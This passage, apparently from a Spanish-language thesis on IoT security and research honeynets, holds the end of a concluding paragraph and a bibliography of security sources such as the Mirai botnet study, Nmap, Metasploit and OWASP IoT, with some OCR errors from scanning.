de base para descubrir ataques de dia cero (Zero-day Attack), nuevas técnicas, tacticas y
procedimientos empleados actualmente por los ciberdelincuentes. El fin es obtener una

honeynet de investigacién basada en un modelo real de una organizacién como una entidad
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financiera, una institucion del estado o centros de salud que suelen ser los mas atractivos y

propensos a sufrir ataques.



161

Bibliografia
Antonakakis, M., April, T., Bailey, M., Bernhard, M., Bursztein, E., Cochran, J., ... Zhou, Y.
(2017). Understanding the Mirai Botnet.

https://www.usenix.org/system/files/conference/usenixsecurityl7/sec17-antonakakis.pdf.

Arroyo, D., Gayoso, V., & Hernandez, L. (2020). Ciberseguridad. Madrid: Editorial CSIC

Consejo Superior de Investigaciones Cientificas.

AVG Technologies. (2020). What Is an Exploit in Computer Security?

https://lwww.avg.com/es/signal/computer-security-exploits.

Buchanan, W., Prasad, A., Chandramouli, R., & Benslimane, A. (2021). Implementing
Enterprise Cybersecurity With Open-Source Software and Standard Architecture.

Gistrup: River Publishers.

Chicano, E. (2015). Auditoria de Seguridad Informatica. Malaga: IC Editorial.

Diaz, G., Alzérriz, 1., Sancristobal, E., & Castro, M. (2014). Procesos y herramientas para la

seguridad de redes. Madrid: Universidad Nacional de Educacién a Distancia.

EC-Council. (2021). Ethical Hacking Essentials. New Mexico: EC-Council New Mexico.

Escriva, G., Romero, R., Ramada, D., & Onrubia, R. (2013). Seguridad Informatica. Madrid:

Macmillan Iberia, S.A.

Gallego, E., & Lopez, J. (2004). Honeynets: Aprendiendo del Atacante. Universidad Politécnica

de Madrid.

Gordon Lyon. (2022). Nmap. https://nmap.org/.

Howell, P. (2018). Mirai 10T botnet variant likely used in January DDoS attack against Dutch

banks. https://www.cyberscoop.com/iot-botnet-dutch-banks-recorded-future/.



162

ISO/IEC. (2013). International Standard ISO/IEC 27000. Switzerland.

ISO/IEC. (2013). International Standard ISO/IEC 27002. Geneva: I1SO.

Kaspersky. (2022). 43% of businesses don’t protect their full loT suite.
https://www.kaspersky.com/about/press-releases/2022_43-of-businesses-dont-protect-

their-full-iot-suite.

Kaspersky Lab. (2019). 10T under fire: Kaspersky detects more than 100 million attacks on
smart devices in H1 2019. https://www.kaspersky.com/about/press-releases/2019_iot-
under-fire-kaspersky-detects-more-than-100-million-attacks-on-smart-devices-in-h1-

20109.

Lépez, E. (2017). Raspberry Pi: fundamentos y aplicaciones. Madrid: RA-MA Editorial.

National Security Agency. (2002). Information Assurance Technical Framework (IATF) Release

3.1. Fort Meade, Maryland: National Security Agency.

Netscout Systems, Inc. (2019). Dawn of the Terrobit Era. USA: Netscout Systems, Inc.

Nokia. (2020). Threat Intelligence Report 2020. https://pages.nokia.com/T005JU-Threat-

Intelligence-Report-2020.html.

OffSec Services Limited. (2022). Hping3. https://www.kali.org/tools/hping3/.

OWASP Foundation, Inc. (2018). OWASP Internet of Things. https://owasp.org/www-project-

internet-of-things/.

Palo Alto Networks. (2020). 2020 Unit 42 1oT Threat Report. Santa Clara: Palo Alto Networks.

Rapid7 Inc. (2022). Metasploit. https://docs.rapid7.com/metasploit/.

Raspberry Pi Foundation. (2022). Raspberry Pi.

https://www.raspberrypi.com/products/raspberry-pi-4-model-b/.



163

Red Hat. (2020). What is CVE. https://www.redhat.com/es/topics/security/what-is-cve.

Statista. (2021). Number of Internet of Things (IoT) connected devices worldwide from 2019 to

2030. https://www.statista.com/statistics/1183457/iot-connected-devices-worldwide/.

Team, A. (2018). Fast & Furious IoT Botnets: Regifting Exploits.

https://lwww.netscout.com/blog/asert/fast-furious-iot-botnets-regifting-exploits.

UIT-T. (2018). Marco de seguridad para la Internet de las cosas basado en el modelo de
pasarela. Serie X: Redes de Datos, Comunicaciones de Sistemas Abiertos y Seguridad,

7-21.
Verdejo, G. (2003). Seguridad en Redes IP. Bellaterra: Universidad Autbnoma de Barcelona.

Wang, J., & Kissel, Z. (2015). Introduction to Network Security : Theory and Practice. John

Wiley & Sons, Incorporated.

Wren, C., Reilly, D., & Berry, T. (2010). Footprinting: A Methodology for Auditing eSystem

Vulnerabilities. IEEE, 1-5.



164

Apéndices



